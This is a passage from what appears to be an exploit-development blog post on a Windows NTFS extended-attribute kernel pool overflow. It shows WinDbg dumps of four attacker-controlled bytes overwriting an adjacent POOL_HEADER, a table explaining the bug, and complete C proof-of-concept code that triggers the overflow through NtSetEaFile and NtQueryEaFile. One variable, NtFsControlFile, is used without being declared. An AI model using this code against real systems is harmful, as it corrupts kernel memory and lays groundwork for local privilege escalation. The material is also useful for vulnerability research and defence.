ffffd889`34985b20 00 00 16 03 4e 70 41 74-00 00 00 00 00 00 00 00 ....NpAt........ // <- here a new chunk begins
ffffd889`34985b30 b0 9b 50 2c 89 d8 ff ff-b0 9b 50 2c 89 d8 ff ff ..P,......P,....
And inspecting the same buffer after the third memcpy
1: kd> pc
Ntfs!NtfsCommonQueryEa+0x2bf:
fffff803`0cb8bd0f e8ec5df5ff call Ntfs!memcpy (fffff803`0cae1b00)
1: kd> p
Ntfs!NtfsCommonQueryEa+0x2c4:
fffff803`0cb8bd14 eb87 jmp Ntfs!NtfsCommonQueryEa+0x24d (fffff803`0cb8bc9d)
1: kd> db ffffd889349859c0 l180
ffffd889`349859c0 00 00 16 03 4e 74 46 45-00 00 00 00 00 00 00 00 ....NtFE........
ffffd889`349859d0 9c 00 00 00 00 0f 81 00-55 53 45 52 2e 43 4f 4d ........USER.COM
ffffd889`349859e0 4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20 MENT321.This is
ffffd889`349859f0 61 20 63 6f ff 6d 65 6e-74 31 32 33 41 41 41 41 a co.ment123AAAA
ffffd889`34985a00 42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
ffffd889`34985a10 46 46 46 46 41 41 41 41-42 42 42 42 43 43 43 43 FFFFAAAABBBBCCCC
ffffd889`34985a20 44 44 44 44 45 45 45 45-46 46 46 46 47 47 47 47 DDDDEEEEFFFFGGGG
ffffd889`34985a30 48 48 48 48 4a 4a 4a 4a-4b 4b 4b 4b 4c 4c 4c 4c HHHHJJJJKKKKLLLL
ffffd889`34985a40 4d 4d 4d 4d 4e 4e 4e 4e-4f 4f 4f 4f 50 50 50 50 MMMMNNNNOOOOPPPP
ffffd889`34985a50 01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08 ................
ffffd889`34985a60 01 02 03 04 05 06 07 08-00 00 00 00 a8 00 00 00 ................
ffffd889`34985a70 00 0f 8d 00 55 53 45 52-2e 43 4f 4d 4d 45 4e 54 ....USER.COMMENT
ffffd889`34985a80 32 32 32 00 54 68 69 73-20 69 73 20 61 20 63 6f 222.This is a co
ffffd889`34985a90 ff 6d 65 6e 74 31 32 33-41 41 41 41 42 42 42 42 .ment123AAAABBBB
ffffd889`34985aa0 43 43 43 43 44 44 44 44-45 45 45 45 46 46 46 46 CCCCDDDDEEEEFFFF
ffffd889`34985ab0 47 47 48 48 48 48 49 49-49 49 4a 4a 41 41 41 41 GGHHHHIIIIJJAAAA
ffffd889`34985ac0 42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
ffffd889`34985ad0 46 46 46 46 47 47 47 47-48 48 48 48 4a 4a 4a 4a FFFFGGGGHHHHJJJJ
ffffd889`34985ae0 4b 4b 4b 4b 4c 4c 4c 4c-4d 4d 4d 4d 4e 4e 4e 4e KKKKLLLLMMMMNNNN
ffffd889`34985af0 4f 4f 4f 4f 50 50 50 50-01 02 03 04 05 06 07 08 OOOOPPPP........
ffffd889`34985b00 01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08 ................
ffffd889`34985b10 00 00 00 00 00 00 00 00-00 02 05 00 41 43 00 54 ............AC.T
ffffd889`34985b20 41 41 41 41 4e 70 41 74-00 00 00 00 00 00 00 00 AAAANpAt........ // <- Overflowing four bytes into the POOL_HEADER of the next chunk
ffffd889`34985b30 b0 9b 50 2c 89 d8 ff ff-b0 9b 50 2c 89 d8 ff ff ..P,......P,....
And we did overflow four bytes (AAAA
) into the POOL_HEADER
of the adjacent chunk. I have to say, that I reconstructed this part after I already had a successful exploit.
The overall process to achieve it was not as straight forward as this might have looked like.
We needed to just overflow four bytes, different lengths of EA were not deemed valid by the kernel and also the overflown four bytes had to be arbitrary values, remember the EA names must be valid ASCII and we prefer to use non-ascii characters to simplify the exploitation when taking control of the next chunks POOL_HEADER
.
This all might have been a bit rough to understand without having reversed the invovled functions and not having stepped through it in a debugger yourself, so here is a table to aid your understanding.
Iteration | out_buf_len | block_size | padding | if statement |
---|---|---|---|---|
1. | 0x143 | 0x99 | 0x00 | if (0x99<(uint)(0x143-0x00)) |
2. | 0xaa | 0xa5 | 0x03 | if (0xa5<(uint)(0xaa-0x03)) |
3. | 0x02 | 0x10 | 0x03 | if (0x10<(uint)(0x2-0x03)) |
And additionally a graphical illustration how all the three iterations now enabled us for the overflow to aid in the understanding.
Below is the code which allows for the demonstrated four byte overflow.
#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996) // allow strncpy...
// https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
// https://hex.pp.ua/extended-attributes.php
// https://github.com/uvbs/obfuscation-crypto-repo/blob/master/Krypton_7.1/Bin/SYS/ntundoc.h
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FFILE_GET_EA_INFORMATION.html
// https://www.pixiepointsecurity.com/blog/nday-cve-2020-17087.html
//
#define STATUS_INVALID_EA_NAME ((NTSTATUS)0x80000013L)
#define STATUS_EA_LIST_INCONSISTENT ((NTSTATUS)0x80000014L)
#define STATUS_EA_TOO_LARGE ((NTSTATUS)0xC0000050L)
#define STATUS_EAS_NOT_SUPPORTED ((NTSTATUS)0xC000004FL)
#define STATUS_EA_CORRUPT_ERROR ((NTSTATUS)0xC0000053L)
#define MAX_EA_NAME_LEN 255
// Function prototypes for the Native API functions
typedef NTSTATUS(NTAPI* NtSetEaFile_t)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length
);
typedef NTSTATUS(NTAPI* NtQueryEaFile_t)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);
#define EA_NAME "User.Comment321"
#define EA_NAME2 "User.Comment222"
#define EA_NAME3 "ac"
#define EA_NAME_LENGTH (sizeof(EA_NAME) - 1)
#define EA_NAME_LENGTH2 (sizeof(EA_NAME2) - 1)
#define EA_NAME_LENGTH3 (sizeof(EA_NAME3) - 1)
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
BYTE EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;
HANDLE hFile = NULL;
void query_extended_attributes(NtQueryEaFile_t NtQueryEaFile) {
// ULONG queryBufferSize = 0x300 - 0xb3 + 1; // this is the value of the out_buf_len used within the kernel code
ULONG queryBufferSize = 0x143; // 0x200 - 0xdb + 0x34 + 0x10 + 1 - (6*3) - 0x1b - 6 + 8 + 4; // this is the value of the out_buf_len used within the kernel code -> 0x126
printf("[*] queryBufferSize: %p\n", queryBufferSize);
PFILE_FULL_EA_INFORMATION queryBuffer = (PFILE_FULL_EA_INFORMATION)malloc(queryBufferSize);
if (!queryBuffer) {
printf("Memory allocation error\n");
return;
}
ULONG eaBufferSize = 9 + EA_NAME_LENGTH;
PFILE_GET_EA_INFORMATION file_get_ea_inf1 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
PFILE_GET_EA_INFORMATION file_get_ea_inf2 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
PFILE_GET_EA_INFORMATION file_get_ea_inf3 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
file_get_ea_inf1->NextEntryOffset = eaBufferSize;
file_get_ea_inf1->EaNameLength = EA_NAME_LENGTH;
file_get_ea_inf2->NextEntryOffset = eaBufferSize;
file_get_ea_inf2->EaNameLength = EA_NAME_LENGTH2;
file_get_ea_inf3->NextEntryOffset = 0;
file_get_ea_inf3->EaNameLength = EA_NAME_LENGTH3;
memcpy(file_get_ea_inf1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
memcpy(file_get_ea_inf2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
memcpy(file_get_ea_inf3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);
char* buf = (char*)malloc(eaBufferSize * 3);
memcpy(buf, file_get_ea_inf1, eaBufferSize);
memcpy(buf + eaBufferSize, file_get_ea_inf2, eaBufferSize);
memcpy(buf + (eaBufferSize*2), file_get_ea_inf3, eaBufferSize);
ULONG eaIndex = 0;
/* END TESTS */
IO_STATUS_BLOCK ioStatus;
NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, buf, eaBufferSize*3, &eaIndex, TRUE);
//NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, 0, 0, 0, TRUE);
if (status != STATUS_SUCCESS) {
printf("NtQueryEaFile error: %08x\n", status);
free(queryBuffer);
return;
}
printf("Extended attributes queried successfully\n");
PFILE_FULL_EA_INFORMATION eaEntry = queryBuffer;
do {
printf("EA Name: %.*s\n", eaEntry->EaNameLength, eaEntry->EaName);
printf("EA Value: %.*s\n", eaEntry->EaValueLength, eaEntry->EaName + eaEntry->EaNameLength + 1);
if (eaEntry->NextEntryOffset == 0)
break;
eaEntry = (PFILE_FULL_EA_INFORMATION)((PUCHAR)eaEntry + eaEntry->NextEntryOffset);
} while (TRUE);
free(queryBuffer);
}
BOOL set_extended_attributes(NtSetEaFile_t NtSetEaFile) {
// Set extended attribute
CHAR eaValue1[] = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
CHAR eaValue2[] = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFGGHHHHIIIIJJAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
CHAR eaValue3[] = "TABCD"; // next header is starting to be overwritten after the `T` (eaValue3[1:])
// the overflow data
// Set the pool type to the same pooltype with aligned chunk set (| 4)
*((unsigned char*)eaValue3 + 1) = 0x41; // previous size - we use 0x120 (from debugging session)
*((unsigned char*)eaValue3 + 1 + 1) = 0x41; // pool index
*((unsigned char*)eaValue3 + 1 + 2) = 0x41; // block size
*((unsigned char*)eaValue3 + 1 + 3) = 0x41; // pool type
ULONG eaValue1Length = sizeof(eaValue1);
ULONG eaValue2Length = sizeof(eaValue2);
ULONG eaValue3Length = sizeof(eaValue3) - 1; // `-1` gets rid of the trailing null byte
ULONG eaBufferSize1 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue1Length;
ULONG eaBufferSize2 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue2Length;
ULONG eaBufferSize3 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue3Length;
PFILE_FULL_EA_INFORMATION eaBuffer1 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize1);
PFILE_FULL_EA_INFORMATION eaBuffer2 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize2);
PFILE_FULL_EA_INFORMATION eaBuffer3 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize3);
if (!eaBuffer1 || !eaBuffer2|| !eaBuffer3) {
printf("Memory allocation error\n");
CloseHandle(hFile);
return 0;
}
eaBuffer1->NextEntryOffset = eaBufferSize1;
eaBuffer1->Flags = 0x00;
eaBuffer1->EaNameLength = EA_NAME_LENGTH;
eaBuffer1->EaValueLength = eaValue1Length;
memcpy(eaBuffer1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
memcpy(eaBuffer1->EaName + EA_NAME_LENGTH + 1, eaValue1, eaValue1Length);
IO_STATUS_BLOCK ioStatus;
//NTSTATUS status = NtSetEaFile(hFile, &ioStatus, eaBuffer, eaBufferSize);
printf("[*] eaBuffer1->NextEntryOffset: %p\n", eaBuffer1->NextEntryOffset);
printf("[*] eaBuffer1->EaNameLength : %p\n", eaBuffer1->EaNameLength);
printf("[*] eaBuffer1->EaValueLength : %p\n", eaBuffer1->EaValueLength);
// second EA
eaBuffer2->NextEntryOffset = eaBufferSize2;
eaBuffer2->Flags = 0x00;
eaBuffer2->EaNameLength = EA_NAME_LENGTH2;
eaBuffer2->EaValueLength = eaValue2Length;
memcpy(eaBuffer2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
memcpy(eaBuffer2->EaName + EA_NAME_LENGTH2 + 1, eaValue2, eaValue2Length);
printf("[*] eaBuffer2->NextEntryOffset: %p\n", eaBuffer2->NextEntryOffset);
printf("[*] eaBuffer2->EaNameLength : %p\n", eaBuffer2->EaNameLength);
printf("[*] eaBuffer2->EaValueLength : %p\n", eaBuffer2->EaValueLength);
// third EA
eaBuffer3->NextEntryOffset = 0;
eaBuffer3->Flags = 0x00;
eaBuffer3->EaNameLength = EA_NAME_LENGTH3;
eaBuffer3->EaValueLength = eaValue3Length;
memcpy(eaBuffer3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);
memcpy(eaBuffer3->EaName + EA_NAME_LENGTH3 + 1, eaValue3, eaValue3Length);
printf("[*] eaBuffer3->NextEntryOffset: %p\n", eaBuffer3->NextEntryOffset);
printf("[*] eaBuffer3->EaNameLength : %p\n", eaBuffer3->EaNameLength);
printf("[*] eaBuffer3->EaValueLength : %p\n", eaBuffer3->EaValueLength);
char* buf = (char*)malloc(eaBufferSize1 + eaBufferSize2 + eaBufferSize3);
memcpy(buf, eaBuffer1, eaBufferSize1);
memcpy(buf + eaBufferSize1, eaBuffer2, eaBufferSize2);
memcpy(buf + (eaBufferSize1 + eaBufferSize2), eaBuffer3, eaBufferSize3);
NTSTATUS status = NtSetEaFile(hFile, &ioStatus, buf, eaBufferSize1+eaBufferSize2+eaBufferSize3);
if (status != STATUS_SUCCESS) {
printf("NtSetEaFile error: %08x\n", status);
free(buf);
free(eaBuffer1);
free(eaBuffer2);
CloseHandle(hFile);
return 0;
}
printf("Extended attribute set successfully\n");
return 1;
}
int main() {
// Load ntdll.dll and get the addresses of the functions
HMODULE ntdll = LoadLibraryA("ntdll.dll");
if (!ntdll) {
printf("Error loading ntdll.dll\n");
return 1;
}
NtSetEaFile_t NtSetEaFile = (NtSetEaFile_t)GetProcAddress(ntdll, "NtSetEaFile");
NtQueryEaFile_t NtQueryEaFile = (NtQueryEaFile_t)GetProcAddress(ntdll, "NtQueryEaFile");
NtFsControlFile = (NtFsControlFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtFsControlFile");
if (!NtFsControlFile) {
return 1;
}
if (!NtSetEaFile || !NtQueryEaFile) {
printf("Error finding NtSetEaFile or NtQueryEaFile\n");
return 1;
}
// File to set/query extended attributes
const char* fileName = "example.txt";
hFile = CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error opening file: %lu\n", GetLastError());
return 1;
}
set_extended_attributes(NtSetEaFile);
printf("[>] Continue to do a NtQueryEaFile? > ");
getchar();
// trigger vuln
query_extended_attributes(NtQueryEaFile);
getchar();
CloseHandle(hFile);
return 1;
}
We now just have to apply the exploitation technique, how hard can that be? ;P. We’ll cover this in part 2.